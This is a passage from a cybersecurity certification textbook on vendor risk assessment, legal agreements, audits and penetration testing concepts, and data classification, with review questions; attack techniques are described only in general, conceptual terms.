operations, data, and reputation. Ongoing monitoring ensures that vendors
maintain security controls, adhere to contractual obligations, and promptly address
identified risks or vulnerabilities.
These processes are critical in risk management practices as they help organizations
identify, assess, and mitigate risks associated with third-party relationships.
Organizations can proactively manage and reduce risks by implementing robust
third-party risk assessment processes, protecting assets, maintaining regulatory
compliance, and fostering a safe and secure operational environment.

Vendor Selection
Vendor selection practices must systematically evaluate and assess potential
vendors to minimize risks associated with outsourcing or procurement. It typically
includes several steps, such as identifying risk criteria, conducting due diligence,
and selecting vendors based on their risk profile. Risk management practices aim
to identify and mitigate risks related to financial stability, operational reliability,
data security, regulatory compliance, and reputation. The goal is to select vendors
who align with the organization’s risk tolerance and demonstrate the capability to
manage risks effectively.

Third-Party Vendor Assessment

A third-party vendor refers to an external person or organization that provides
goods, services, or technology solutions to another organization but operates
independently. Third-party vendors play a significant role in business operations
by offering specialized expertise, products, and services that support or enable the
organization’s own capabilities. Third-party vendors can range from technology,
software, and cloud service providers to suppliers and contractors and collectively
represent an organization’s supply chain. Third-party vendors bring efficiency,
cost-effectiveness, expertise, and innovation to organizations but also introduce
potential risks as they may have access to sensitive data, infrastructure, or critical
processes. Proper vendor assessment and continuous monitoring ensure third-
party vendors adhere to security standards and regulatory compliance and fulfill
their obligations to safeguard business operations from potential vulnerabilities
and disruptions.

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Vendor assessment is a critical component of Governance, Risk, and Compliance

(GRC) frameworks and plays a pivotal role in maintaining the security of IT and
business operations. Vendor assessment includes carefully evaluating third-
party vendor capabilities, practices, and security measures before engaging in
business partnerships or entrusting them with sensitive data and critical services.
The significance of vendor assessment stems from the fact that organizations
increasingly rely on external vendors for various aspects of their operations, such as
technology solutions, cloud services, supply chain management, and outsourcing.
By thoroughly assessing vendors, businesses can ensure that their partners
adhere to established security standards, comply with regulatory requirements,
and mitigate potential risks effectively. Engaging with vendors with weak security
practices or inadequate risk management measures can introduce significant
vulnerabilities.

A study by Ponemon Institute and Bomgar identified the following statistics:

• Companies allow 89 vendors to access their networks weekly, on average.
• 69% of organizations have experienced a data breach due to vendor security
shortcomings.
• 65% of respondents say that it's hard to manage cybersecurity risks associated with
third-party vendors.
• 64% of respondents said that their organization focuses more on cost than security
when outsourcing.
https://securitystudio.com/top-7-vendor-related-breaches-of-all-time/

Evaluating vendors is vital for businesses to adhere to regulations, as these

regulations often pertain to the vendors they collaborate with. Ensuring
vendors comply with applicable regulations and industry standards protects the
organization from fines and other legal consequences.
Additionally, vendor assessments provide evidence of due diligence and compliance
checks, which are crucial during audits and investigations. Vendor assessment
also promotes transparency and accountability. Organizations gain insight into
vendor security capabilities by thoroughly evaluating vendor security practices. This
knowledge supports better risk assessment and vendor selection. Furthermore,
vendor assessments create a framework for monitoring and reviewing vendors’
performance and security practices. Continuous evaluation helps ensure that
vendors maintain their commitment to security and remain aligned with the
organization.

Conflict of Interest
A conflict of interest arises when an individual or organization has competing
interests or obligations that could compromise their ability to act objectively,
impartially, or in the best interest of another party. When performing vendor
assessments, it is vital to determine whether a vendor’s interests, relationships, or
affiliations may influence their ability to provide unbiased recommendations, fair
pricing, or deliver services without bias. Organizations must diligently identify and
address potential conflicts of interest, including scrutinizing the vendor’s affiliations,
relationships with competitors or stakeholders, financial interests, and any potential
bias that could compromise their integrity. Some examples of conflict of interest
include the following items:
• Financial Interests—A vendor may have a financial interest in recommending
specific products or services due to partnerships, commissions, or financial
incentives that bias their recommendations and lead to selecting options that
may not fit the organization’s needs.

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• Personal Relationships—If a vendor has personal relationships or close ties

with decision-makers within the organization, it can influence decision-making
and compromise the objective evaluation of other vendors.

• Competitive Relationships—A vendor may have a business relationship or

competitive interest with another vendor under consideration, which can lead a
vendor to prioritize their own interests or partnerships over the organization’s
best interests.

• Insider Information—In cases where a vendor has access to confidential or

proprietary information about other vendors or the organization’s strategic
plans, the vendor may use this information to gain an unfair advantage or
manipulate the selection process.

Vendor Assessment Methods

Due diligence, in the context of vendor assessment and selection, refers to the
comprehensive and systematic process of gathering and analyzing information
about potential vendors to assess their suitability, reliability, and integrity. It
involves conducting a thorough investigation and evaluation of vendors based
on predetermined criteria, including financial stability, reputation, technical
capabilities, security practices, regulatory compliance, and past performance.
Due diligence aims to minimize risks and support informed decisions during the
vendor selection process by verifying the accuracy of vendor claims, identifying
potential red flags, and ensuring alignment with the organization’s needs. Through
due diligence, organizations can uncover any undisclosed risks or issues, clearly
understand the vendor’s capabilities and limitations, and evaluate the potential
impact on business operations.
Penetration Testing—Penetration testing evaluates vendors’ security posture and
identifies potential vulnerabilities in their systems, networks, and applications. By
conducting penetration tests on vendor infrastructure or seeking evidence that
penetration tests have been performed, organizations can gain insights into the
vulnerabilities that attackers could exploit, helping them understand the potential
risks associated with partnering with the vendor. Penetration testing provides a
comprehensive assessment of the vendor’s security resilience, allowing businesses
to make informed decisions about their suitability as a vendor. Penetration tests
improve the vendor assessment process by validating the effectiveness of security
controls, uncovering hidden weaknesses, and assisting risk management
practices.
Right-to-Audit Clause—A right-to-audit clause is a contractual provision that
grants an organization the authority to conduct audits or assessments of vendor
operational practices, information systems, and security controls. The right-to-audit
clause supports vendor assessment practices by allowing organizations to validate
and verify the vendor’s compliance with contractual obligations, security standards,
and regulatory requirements. By exercising the right to audit, organizations can gain
transparency into the vendor’s operations, identify gaps or deficiencies, and ensure
that the vendor maintains the expected level of security and compliance at all
times.
Evidence of Internal Audits—When performing vendor due diligence, looking
for evidence that the vendor has internal audit practices is crucial. Internal
audit provides an independent and objective evaluation of an organization’s
internal controls, risk management practices, and compliance with policies and
regulations. By examining the presence and effectiveness of internal audits within
a vendor’s operations, businesses can gain confidence in the vendor’s commitment

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to good governance, risk management, and compliance. Evidence of internal

audit demonstrates that the vendor has established mechanisms for internal
oversight, periodic assessments, and continuous improvement of their processes.
It demonstrates a proactive approach to risk identification and mitigation and a
commitment to secure operations.
Independent Assessments—Organizations often rely on independent
assessments as crucial vendor selection criteria. Independent assessments involve
engaging with independent experts to evaluate and verify vendor capabilities,
security, and compliance practices. These assessments provide an objective and
unbiased evaluation of vendor capabilities. By leveraging independent assessments,
organizations can benefit from specialized knowledge and industry best practice
approaches to security assessments that internal teams may not know. Leveraging
independent assessments help mitigate potential biases, ensure thorough
evaluations, and support informed decision-making during the vendor selection
process. Additionally, periodic reassessment of existing vendors fosters continuous
improvement in the vendor’s security practices.
Supply Chain Analysis—Supply chain refers to the interconnected network of
entities involved in producing, distributing, and delivering goods or services, from
raw material suppliers to manufacturers, distributors, retailers, and ultimately, the
end customer. It is a complex ecosystem involving collaboration between numerous
vendors at various stages. Vendors are essential in the supply chain as they provide
goods, services, and expertise contributing to the final product or service. Vendors
often include raw materials suppliers, manufacturers, logistics providers, and
technology solution providers. Each vendor within the supply chain has its own
set of capabilities, processes, and potential risks. Managing and assessing these
vendors is crucial to ensure the smooth flow of materials, minimize disruptions,
maintain quality standards, and uphold security and compliance requirements
throughout the supply chain. Supply chain analysis evaluates the risks and
vulnerabilities associated with the various entities (vendors) involved in a supply
chain by examining the security practices, capabilities, and reliability of individual
vendors within the supply chain network and how security issues with one vendor
in the chain may compromise the security of the organization’s environment. This
information helps organizations identify weak links, vulnerabilities, and potential
points of compromise within the supply chain so they can be addressed before they
cause problems.

Performing vendor site visits offer firsthand observation and assessment of a vendor's
physical facilities, operational processes, and overall risk management practices,
allowing for a more comprehensive evaluation of potential risks and vulnerabilities.

Vendor Monitoring
Vendor monitoring involves continuously overseeing and evaluating vendors to
ensure ongoing adherence to security standards, compliance requirements, and
contractual obligations. It may include regular performance reviews, periodic
assessments, and real-time monitoring of vendor activities. This proactive
approach allows organizations to promptly identify and address potential risks or
issues.

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Legal Agreements
Legal agreements play a vital role in supporting vendor relationships by establishing
both parties’ rights, responsibilities, and expectations. Legal agreements serve
as the foundation for the vendor-client relationship, providing a framework for
conducting business and addressing potential issues or disputes that may arise.

Initial Agreements
Different types of agreements are needed to govern vendor relationships based
on the specific nature of the engagement and the services being provided. The
following agreements play distinct roles in setting up vendor relationships:
• Memorandum of Understanding (MOU)—a nonbinding agreement that
outlines the intentions, shared goals, and general terms of cooperation between
parties. MOUs serve as a preliminary step to establish a common understanding
before proceeding with a more formal agreement.

• Nondisclosure Agreement (NDA)—ensures the confidentiality and protection

of sensitive information shared during the relationship. An NDA is a binding
agreement, and likely to be signed alongside an MOU.

• Memorandum of Agreement (MOA)—a formal agreement that defines the

parties’ specific terms, conditions, and responsibilities. MOAs establish a legally
binding relationship covering objectives, roles, resources, and obligations. They
provide a trustworthy framework for collaboration.

• Business Partnership Agreement (BPA)—governs long-term strategic

partnerships between organizations. BPAs encompass various objectives,
including goals, financial arrangements, decision-making processes, intellectual
property rights, confidentiality, and dispute-resolution mechanisms. BPAs
provide a means for governing collaborative and mutually beneficial
relationships.

• Master Service Agreement (MSA)—outlines the overall terms and conditions of

a specific contract, such as provisioning cloud resources, or ticketing/help desk
support. An MSA includes scope, pricing, deliverables, and intellectual property
rights.

Detailed Agreements
Where initial agreements establish a framework for collaboration or service
provision, other agreements can be implemented to specify terms for operational
detail. These help to govern vendor relationships effectively.
• Service-level Agreement (SLA)—defines the specific performance metrics,
quality standards, and service levels expected from the vendor.

• Statement of Work (SOW)/Work Order (WO)—details a vendor project or

engagement’s scope, deliverables, timelines, and responsibilities. SOWs clarify
the vendor’s tasks, the organization’s expectations, and the agreed-upon
deliverables. They are crucial for managing project execution and ensuring
vendor and organization alignment.

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Questionnaires
Questionnaires gather vendor information about their security practices, controls,
and risk management strategies to help organizations assess a vendor’s security
posture, identify vulnerabilities, and evaluate their capabilities. Questionnaires
provide a structured means of obtaining consistent vendor information, enabling
more effective risk analysis and comparison fairly and consistently. Questionnaires
collect information about the vendor’s security policies, procedures, and controls,
including data protection, access management, incident response, and disaster
recovery. The questionnaire may ask about a vendor’s compliance with industry-
specific regulations and standards, such as GDPR, HIPAA, ISO 27001, or PCI-DSS.
It may also seek details about the vendor’s security training and awareness
programs for employees and their approach to conducting third-party security
assessments and audits. Additionally, the questionnaire may explore the vendor’s
incident response capabilities, breach history, and insurance coverage.

The answers to vendor risk management questionnaires should be validated by

requesting supporting documentation, conducting site visits or audits, performing
background checks, contacting references or previous clients, and utilizing third-party
verification services to ensure the accuracy and reliability of the vendor's responses.

Rules of Engagement
Rules of Engagement (RoE) define the parameters and expectations for vendor
relationships. These rules outline the responsibilities, communication methods,
reporting mechanisms, security requirements, and compliance obligations that
vendors must adhere to. Rules of engagement establish clear guidelines for the
vendor’s behavior, activities, and access to sensitive information. By setting these
boundaries, organizations can establish a controlled and secure environment,
mitigating the potential risks associated with third-party relationships. Some
important elements included in an RoE include the following:
• Roles and Responsibilities—Clearly define the roles and responsibilities of the
vendor and client in managing risks, including specifying who is responsible for
identifying, assessing, and mitigating various types of risks.

• Security Requirements—Outline the security standards, practices, and controls

the vendor must adhere to, including provisions related to data protection,
access controls, encryption, incident response, and regular security assessments.

• Compliance Obligations—State the regulatory and compliance obligations

the vendor must meet, ensuring they align with the client’s industry-specific
requirements, including privacy, data security, and any other applicable legal or
industry regulations.

• Reporting and Communication—Establish protocols for timely reporting of

security incidents, breaches, or potential risks, including defining the reporting
channels, frequency, and level of detail required to ensure effective risk
communication and management.

• Change Management—Outline procedures for managing changes or updates

to systems, processes, or services that could impact security and introduce
new risks, including change approval processes, testing requirements, and
documentation practices.

• Contractual Provisions—Include provisions related to indemnification, liability,

insurance, and termination rights in case of security breaches or failure to meet
risk management obligations. These provisions help allocate responsibilities and
provide legal recourse in case of noncompliance or breaches.

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Review Activity:
Vendor Management Concepts
5

Answer the following questions:

1. This describes a contractual provision that grants an organization

the authority to conduct audits or assessments of vendor operational
practices, information systems, and security controls.

2. Describe the concept of conflict of interest in relationship with vendor

2.

management practices.

3. This legal contract is a nonbinding agreement that outlines the

3.

intentions, shared goals, and general terms of cooperation between

parties.

4. This legal document establishes clear guidelines for the vendor’s

4.

behavior, activities, and access to sensitive information.

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Topic 15C
Audits and Assessments
5

EXAM OBJECTIVES COVERED

5.5 Explain types and purposes of audits and assessments.

Audits and assessments are crucial to maintaining trustworthy operations.

Audits involve systematically evaluating processes, controls, and compliance with
established standards, policies, and regulations. They ensure that an organization’s
operations align with defined requirements, identify gaps, and provide
recommendations for improvement.
On the other hand, assessments involve evaluating the effectiveness and efficiency
of various aspects of an organization’s operations, such as cybersecurity, risk
management, and internal controls. They help identify vulnerabilities, assess risks,
and provide insights for enhancing security measures. Both audits and assessments
play a vital role in maintaining compliance, mitigating risks, and continuously
improving an organization’s overall security and operational performance.

Attestation and Assessments

Attestation refers to verifying and validating the accuracy, reliability, and
effectiveness of security controls, systems, and processes implemented within
an organization. It involves an independent and objective examination by a
qualified and trusted entity, such as an auditor or assessor. Attestation is a formal
declaration or confirmation that an organization’s security controls and practices
comply with specific standards, regulations, or best practices and provides
assurance to stakeholders, such as management, customers, business partners,
and regulators, that an organization’s security measures are adequate and
effective in protecting sensitive information, mitigating risks, and maintaining data
confidentiality, integrity, and availability.

Internal and External Assessments

Using internal and external audit and assessment methods is essential for a
comprehensive and effective evaluation of an organization’s systems, controls,
and management processes. The organization’s own employees conduct internal
audits and provide an in-depth assessment of the organization’s business
processes. Internal teams can conduct regular, focused assessments that align with
the organization’s needs and priorities and support continuous monitoring and
improvement of internal controls, governance and risk management practices, and
operational efficiency.
In contrast, independent third-party service providers conduct external audits and
assessments that utilize specialized expertise and knowledge in specific domains,
regulations, and industry best practices. External auditors convey an impartial and
objective evaluation of business practices that is impossible to obtain using internal
teams. External audits ensure that the organization’s practices are measured
against recognized industry standards and help identify improvement areas that
internal audit teams may have missed.

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Organizations can achieve several important objectives by utilizing internal and

external audit and assessment methods. Using both approaches helps facilitate a
balanced and comprehensive view of the organization’s risk management practices,
controls, and compliance efforts. Combining internal and external audits enhances
the organization’s risk management capabilities. Internal audits enable continuous
monitoring, early detection of issues, and timely remediation, while external audits
validate the organization’s controls, compliance, and risk mitigation efforts.
Additionally, utilizing both internal and external methods fosters transparency and
accountability. Internal audits promote a culture of self-assessment and continuous
improvement within the organization, while external audits provide stakeholders
with independent assurance and validation of the organization’s practices. This
combination helps build trust among stakeholders, including customers, business
partners, regulatory bodies, and investors. An often overlooked benefit, the
collaboration between internal and external auditors facilitates knowledge sharing
and professional development, improving the quality of both teams’ assessments.
Internal auditors can learn from the expertise and best practices of external
auditors, while external auditors gain a deeper understanding of the organization’s
operating environment and the challenges they face that often impede compliance
initiatives.

Internal Assessments.
Approach Description
Compliance Assessment Internal compliance assessments ensure operating
practices align with laws, regulations, standards,
policies, and ethical requirements. These assessments
evaluate the effectiveness of internal controls, identify
noncompliance or risk areas, and communicate
findings to stakeholders such as risk managers.
Audit Committee Audit committees provide independent oversight
and assurance regarding an organization’s financial
reporting, internal controls, and risk management
practices. These committees are typically composed
of board members independent of the organization’s
management team. Audit committees aim to
enhance the integrity of financial statements, ensure
compliance with legal and regulatory requirements,
monitor the effectiveness of internal controls, oversee
the external audit process, and promote transparency
and accountability. Audit committees are critical
in fostering confidence among shareholders,
stakeholders, and the public by providing an
independent and objective assessment of the
organization’s financial practices and contributing to
sound corporate governance.
Self-Assessment Self-assessments allow individuals or organizations to
evaluate their performance, practices, and adherence
to established criteria against predetermined metrics
and measures. Self-assessments help identify
strengths, weaknesses, and areas for improvement,
enabling individuals or organizations to take proactive
measures to enhance their effectiveness and
outcomes. Self-assessments imply internal personnel
with the expertise, knowledge, and understanding of
the assessed area are available to complete them.

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Internal assessments are required for government agencies according to the NIST RMF,
PCI-DSS, and others.

External Assessments
Approach Description
Regulatory Regulatory authorities or agencies perform assessments to
ensure compliance with specific laws, regulations, or industry
standards. Regulatory assessments evaluate whether
organizations adhere to mandatory regulatory requirements
and promote a culture of compliance. Regulatory
assessments typically involve inspections, audits, or reviews
of processes, practices, and controls to verify compliance,
identify deficiencies, and enforce regulatory obligations.
Regulatory assessments play a critical role in safeguarding
public interests, protecting consumers, maintaining
market integrity, and upholding industry standards. They
help mitigate risks, ensure fair competition, and enhance
transparency and accountability in regulated industries.
Examination An external examination typically refers to an independent
and formal evaluation conducted by external parties, such
as auditors or regulators, to assess the accuracy, reliability,
and compliance of an organization’s financial statements,
processes, controls, or specific aspects of its operations.
External examinations focus on verifying information
accuracy and ensuring compliance with applicable laws,
regulations, or industry standards. Examples of external
examinations include financial statement audits, regulatory
compliance audits, and specific assessments of control
environments.
Assessment An external assessment generally refers to a broad
evaluation conducted by external experts or consultants
to assess an organization’s overall performance, practices,
capabilities, or specific focus areas. External assessments
can encompass various elements, such as strategy,
operational efficiency, risk management, cybersecurity, or
compliance practices. The goal is to provide an objective and
independent perspective on the organization’s strengths,
weaknesses, and opportunities for improvement.
Independent Independent third-party audits provide objective and
Third-Party Audit unbiased assessments of an organization’s systems,
controls, processes, and compliance. The importance of
independent third-party audits lies in their ability to offer
an external perspective, free from any conflicts of interest
or bias. Independent audits instill confidence among
stakeholders, including customers, business partners,
regulatory bodies, and investors, as they attest to an
organization’s commitment to quality, compliance, and good
governance. They also help organizations demonstrate
transparency, accountability, and adherence to industry
standards and regulations.

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External entities could include certified public accountants (CPAs), external auditors,
consulting firms, regulatory bodies, or specialized assessment agencies. The
independence of these external assessors ensures impartiality and objectivity in the
evaluation process.

Penetration Testing
A penetration test—often shortened to pen test—uses authorized hacking
techniques to discover exploitable weaknesses in the target’s security systems.
Pen testing is also referred to as ethical hacking. A pen test might involve the
following steps:
• Verify a Threat Exists—use surveillance, social engineering, network scanners,
and vulnerability assessment tools to identify a vector by which vulnerabilities
could be exploited.

• Bypass Security Controls—look for easy ways to attack the system. For
example, if the network is strongly protected by a firewall, is it possible to gain
physical access to a computer in the building and run malware from a USB stick?

• Actively Test Security Controls—probe controls for configuration weaknesses

and errors, such as weak passwords or software vulnerabilities.

• Exploit Vulnerabilities—prove that a vulnerability is high risk by exploiting it to

gain access to data or install backdoors.

The key difference from passive vulnerability assessment is that an attempt is

made to actively test security controls and exploit any vulnerabilities discovered.
Pen testing is an intrusive assessment technique. For example, a vulnerability
scan may reveal that an SQL Server has not been patched to safeguard against
a known exploit. A penetration test would attempt to use the exploit to perform
code injection and compromise the server. This provides active testing of security
controls.

Active and Passive Reconnaissance

Active and passive reconnaissance provides crucial information that helps
penetration testers understand target systems and identify potential vulnerabilities
to plan an attack effectively. A combination of active and passive reconnaissance
techniques yields the most comprehensive information regarding the target
environment during a penetration testing engagement.
Active reconnaissance involves actively probing and interacting with target
systems and networks to gather information. Active reconnaissance includes
activities that generate network traffic by directly requesting information from
target systems. Active reconnaissance aims to discover and obtain information
about the target infrastructure, services, and potential vulnerabilities. Common
techniques used in active reconnaissance include the following:
• Port Scanning—Scanning a target network to identify open ports and the
services running on them.

• Service Enumeration—Interacting with identified services to gather information

about their versions, configurations, and potential vulnerabilities.

• OS Fingerprinting—Attempting to identify the operating system running on

target machines by analyzing network responses and behavior.

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• DNS Enumeration—Gathering information about the target’s DNS

infrastructure, such as domain names, subdomains, and IP addresses.

• Web Application Crawling—Exploring web applications to identify pages,

directories, and potential vulnerabilities.

Passive reconnaissance involves gathering information about target systems and

networks without directly interacting with them by focusing on collecting publicly
available data and passively observing network traffic. Passive reconnaissance
aims to gather intelligence on the target environment and identify potential
vulnerabilities while generating minimal evidence of their actions. Common
techniques used in passive reconnaissance include the following:
• Open-Source Intelligence (OSINT) Gathering—Collecting publicly available
information from various sources like search engines, social media, public
databases, and websites.

• Network Traffic Analysis—Monitoring network traffic to identify patterns,

devices, IP addresses, and potential vulnerabilities without actively generating
traffic.

• Social Engineering—Gathering information through social engineering

techniques, such as deceiving employees and vendors to extract sensitive
information or access credentials.

Passive reconnaissance helps penetration testers gather initial information on a

target’s digital footprint. It is less intrusive and carries a lower detection risk than
active reconnaissance techniques.

Known, Partially Known, and Unknown Testing Methods

The decision to use a known environment, partially known environment, or
unknown environment penetration test is influenced by several factors, such
as knowledge regarding the target system or network, the organization’s risk
appetite, and compliance requirements. Budget and resource constraints may also
contribute to selecting the penetration testing method, as known environment
testing generally requires fewer resources than partially known or unknown
environment testing. The objectives of the penetration test influence the choice,
with known environment testing suitable for assessing known vulnerabilities and
partially known or unknown environment testing preferred for identifying unknown
vulnerabilities. The complexity of the target system or network is also a factor, as
more complex systems may necessitate more comprehensive testing methods.
Organizations often combine different methods to achieve different
objectives.

Penetration Testing Method Description

Known Environment Penetration In known environment penetration testing,
Testing the tester has detailed knowledge about
the target system or network, including
information about the network architecture,
hardware and software configurations,
system vulnerabilities, and users.

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Penetration Testing Method Description

Partially Known Environment In partially known environment penetration
Penetration Testing testing, the tester possesses limited
knowledge about the target system or
network, such as information about the
system architecture, specific technologies in
use, or partial system configurations. During
a partially known environment penetration
test, the tester may employ reconnaissance
techniques to gather additional information
about the target, including scanning
the network, fingerprinting services, or
conducting open-source intelligence (OSINT)
gathering. The information collected is used
to assess security controls by simulating
attack vectors and exploiting vulnerabilities.
Unknown Environment In unknown environment penetration
Penetration Testing testing, the tester has little prior knowledge
about the target system or network. This
type of testing aims to mimic a scenario
where an attacker has no preexisting
information about the target infrastructure.
The purpose is to identify potential
vulnerabilities and assess the organization’s
ability to withstand an attack from an
unknown adversary. During an unknown
environment penetration test, the tester
must perform extensive reconnaissance
to gain knowledge about the target,
such as passive information gathering,
active scanning, social engineering, and
other techniques to discover potential
vulnerabilities. The objective is to identify
weaknesses that might be exploitable by a
skilled attacker.

Exercise Types
Penetration testing is a crucial component of cybersecurity assessments
that involves simulating real-world attacks on computer systems, networks,
or applications to identify vulnerabilities and weaknesses. Different types of
penetration tests exist to address specific objectives related to a security evaluation,
such as testing specific systems, assessing incident response capabilities, measuring
the effectiveness of physical controls, and many other areas. Different types of
penetration tests allow organizations to use a flexible and prioritized approach
toward security assessment.

Offensive and Defensive Penetration Testing

Offensive penetration testing, often called “Red Teaming,” is a proactive and
controlled approach to simulate real-world cyberattacks on an organization’s
systems, networks, and applications. The primary goal of offensive penetration
testing is to identify vulnerabilities, weaknesses, and potential attack vectors
that malicious actors could exploit. This testing is typically performed by skilled
and ethical cybersecurity professionals who mimic potential attackers’ tactics,
techniques, and procedures (TTPs).

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Defensive penetration testing, or “Blue Teaming,” evaluates an organization’s

defensive security measures, detection capabilities, incident response procedures,
and overall resilience against cyber threats. Defensive penetration testing aims
to assess the effectiveness of existing security controls and identify areas for
improvement.

Physical Penetration Testing

Physical penetration testing, or physical security testing, describes assessments
of an organization’s physical security practices and controls. It involves simulating
real-world attack scenarios to identify vulnerabilities and weaknesses in physical
security systems, such as access controls, surveillance, and perimeter defenses.
Physical penetration testing aims to assess the effectiveness of physical security
controls and identify potential entry points or weaknesses that an attacker could
exploit. During physical penetration testing, a skilled tester attempts to gain
unauthorized physical access to restricted areas, sensitive information, or critical
assets within the organization using techniques like social engineering, tailgating,
lock picking, bypassing alarms or surveillance systems, and exploiting physical
vulnerabilities.

Integrated Penetration Testing

Integrated penetration testing refers to a holistic approach that combines
different types of penetration testing methodologies and techniques to assess the
overall security of an organization’s systems, networks, applications, and physical
infrastructure. Integrated penetration testing aims to provide a comprehensive
and realistic evaluation of an organization’s security operations. The importance
of integrated penetration testing lies in its ability to accurately represent the
organization’s security posture and identify potential risks often overlooked when
testing in isolated areas. For example, the combination of offensive and defensive
penetration testing provides a comprehensive assessment of an organization’s
security posture. Offensive testing identifies vulnerabilities and weaknesses, while
defensive testing evaluates the organization’s ability to detect and respond to
threats. By integrating both approaches, organizations can improve their security
capabilities to better protect against different threats.

A similar concept is called continuous pentesting which focuses on technical

vulnerabilities and often configured to leverage automation, especially for CI/CD
environments. Review the following for more information: https://informer.io/resources/
continuous-penetration-testing

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Review Activity:
Penetration Testing Concepts
6

Answer the following questions:

1. A website owner wants to evaluate whether the site security mitigates

risks from criminal syndicates, assuming no risk of insider threat. What
type of penetration testing engagement will most closely simulate this
adversary capability and resources?

2. Why should an Internet service provider (ISP) be informed before pen

2.

testing on a hosted website takes place?

3. This type of assessment allows individuals or organizations to evaluate

3.

their performance, practices, and adherence to established criteria

against predetermined metrics and measures.

4. Why are third-party assessments important?

4.

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Lesson 15
Summary
5

You should be able to explain risk management, business impact analysis, and
disaster recovery planning processes and metrics.

Guidelines for Risk Management

Follow these guidelines for supporting risk management assessment:
• Identify and assess risks on an ongoing basis to keep pace with changing
business practices.

• Analyze risk using qualitative and quantitative methods to help prioritize

remediation efforts and allocate resources.

• Create a risk register to help manage and track risks including the staff assigned
to address them.

• Include vendor business practices in risk management and assessment.

• Identify and analyze the vendors included in the supply chain and ensure they
have adequate security operations.

• Use multiple audit and assessment methods to measure the effectivieness

of security controls and the organization’s alignment to legal and regulatory
compliance requirements.

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 Lesson 16
Summarize Data Protection and
Compliance Concepts
1

LESSON INTRODUCTION
Data protection and compliance encompass a range of practices and principles
aimed at safeguarding sensitive information, ensuring privacy, and adhering to
applicable laws and regulations. Data protection involves implementing measures
to secure data against unauthorized access, loss, or misuse. It includes practices
such as encryption, access controls, data backup, and secure storage. Compliance
refers to conforming to legal, regulatory, and industry requirements relevant to
data handling, privacy, security, and transparency. Organizations can safeguard
individuals’ privacy, ensure data security, fulfill legal requirements, and establish
credibility with customers, partners, and regulatory authorities by comprehending
and implementing these data protection and compliance principles. Compliance
with applicable data protection laws, regulations, and standards is crucial for
organizations to avoid legal liabilities, reputational damage, and financial penalties
associated with noncompliance.

Lesson Objectives
In this lesson, you will do the following:
• Explain privacy and data sensitivity concepts.

• Explain privacy and data protection controls.

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Topic 16A
Data Classification and Compliance
2

EXAM OBJECTIVES COVERED

3.3 Compare and contrast concepts and strategies to protect data.
5.4 Summarize elements of effective security compliance.

Privacy and data sensitivity controls are essential in safeguarding sensitive

information and protecting individual privacy rights. Privacy refers to the right
of individuals to control the collection, use, and disclosure of their personal
information. It involves respecting boundaries and ensuring that personal data
is handled securely and in accordance with applicable laws and regulations. Data
sensitivity, on the other hand, relates to the classification and categorization of data
based on its level of sensitivity, confidentiality, or potential impact if compromised.
This classification helps determine the appropriate security measures, access
controls, and safeguards applied to different data types.

Data Types
The concept of data types refers to categorizing or classifying data based on its
inherent characteristics, structure, and intended use. Data types provide a way
to organize and understand the different data forms within a system or dataset.
Classifying data into specific types makes analyzing, processing, interpreting, and
securing information easier.

Regulated Data
Regulated data refers to specific categories of information subject to legal
or regulatory requirements regarding their handling, storage, and protection.
Regulated data typically includes sensitive or personally identifiable information
(PII) protected by laws and regulations to ensure privacy, security, and appropriate
use. The types of regulated data vary depending on jurisdiction and the specific
regulations applicable to the organization or data. Common examples of regulated
data include financial information, healthcare records, social security numbers,
credit card details, and other personally identifiable information. Privacy laws and
industry-specific regulations often protect these data types, such as the Health
Insurance Portability and Accountability Act (HIPAA) for healthcare data or the
Payment Card Industry Data Security Standard (PCI DSS) for credit card information.
Organizations that handle regulated data must comply with relevant laws and
regulations governing its protection. Compliance typically involves implementing
appropriate security measures, data encryption, access controls, data breach
notification procedures, and data handling protocols. Organizations may also need
to establish data storage, retention, and destruction safeguards to meet regulatory
requirements.

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Trade Secrets
Trade secret data refers to valuable, confidential information that gives a business
a competitive advantage. Trade secrets encompass much nonpublic, proprietary
information, including formulas, processes, methods, techniques, customer lists,
pricing information, marketing strategies, and other business-critical data. Trade
secrets have commercial value derived from their secrecy. Businesses often require
employees and contractors to sign non-disclosure agreements (NDAs) to safeguard
the confidentiality of trade secrets. Disclosure or unauthorized use of trade secret
data is a serious legal matter. Companies can take legal action against individuals or
organizations unlawfully acquiring, using, or disclosing trade secrets. Laws related
to trade secrets vary across jurisdictions, but they generally aim to prevent unfair
competition and provide remedies for misappropriation.

Legal and Financial Data

Legal and financial data encompass critical data for legal compliance, financial
reporting, decision-making, and risk management. Legal data includes documents,
contracts, legal agreements, court records, litigation information, intellectual
property filings, regulatory filings, and other legal documents. It may also encompass
information related to corporate governance, compliance with laws and regulations,
and legal obligations specific to an industry or jurisdiction. On the other hand,
financial data pertains to information concerning an organization’s financial
activities, performance, and transactions, including financial statements, balance
sheets, income statements, cash flow statements, audit reports, tax records,
financial projections, budgets, and other financial reports. Financial data also
encompasses details of financial transactions, such as accounts payable, accounts
receivable, general ledger entries, and transactional records. Legal and financial data
are highly sensitive and confidential due to their nature and the potential impact
they can have on an organization’s reputation, legal standing, and financial stability.

Human-Readable and Non-Human-Readable Data

Human-readable data refers to information that humans can easily understand and
interpret without additional processing or translation. Human-readable data describes
a format that is accessible and readable, such as text, images, or multimedia content.
Examples of human-readable data include documents, reports, emails, web pages,
and presentations. On the other hand, non-human-readable data refers to data
that is not easily understood or interpreted by humans in its raw form. It may be in a
machine-readable format, such as binary code, encrypted data, or data represented
in a complex structure or encoding that requires specialized software or algorithms to
decipher and interpret. non-human-readable data often requires additional processing
or transformation to make it understandable to humans.
Human-readable and non-human-readable data formats have distinct implications
for security operations and controls. Human-readable and non-human-readable
data formats impact security operations and controls in different ways. Security
monitoring, user awareness, DLP, content filtering, and web security are more
directly applicable to human-readable data formats.
On the other hand, encryption, access controls, intrusion detection and
prevention, secure data exchange, and code/application security are more
relevant to non-human-readable data formats. It is important to note that
non-human-readable data formats can impede the capabilities of security controls
because non-human-readable data formats cannot be easily interpreted using
traditional methods and require specialized approaches to inspect and protect
them. A comprehensive security approach considers both types of data formats and
implements appropriate measures to protect them based on their characteristics
and associated risks.

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Data Classifications
Data classification and typing schemas tag data assets so that they can be
managed through the information lifecycle. A data classification schema is a
decision tree for applying one or more tags or labels to each data asset. Many data
classification schemas are based on the degree of confidentiality required:
• Public (unclassified)—there are no restrictions on viewing the data. Public
information presents no risk to an organization if it is disclosed but does present
a risk if it is modified or not available.

• Confidential (secret)—the information is highly sensitive, for viewing only by

approved persons within the owner organization, and possibly by trusted third
parties under NDA.

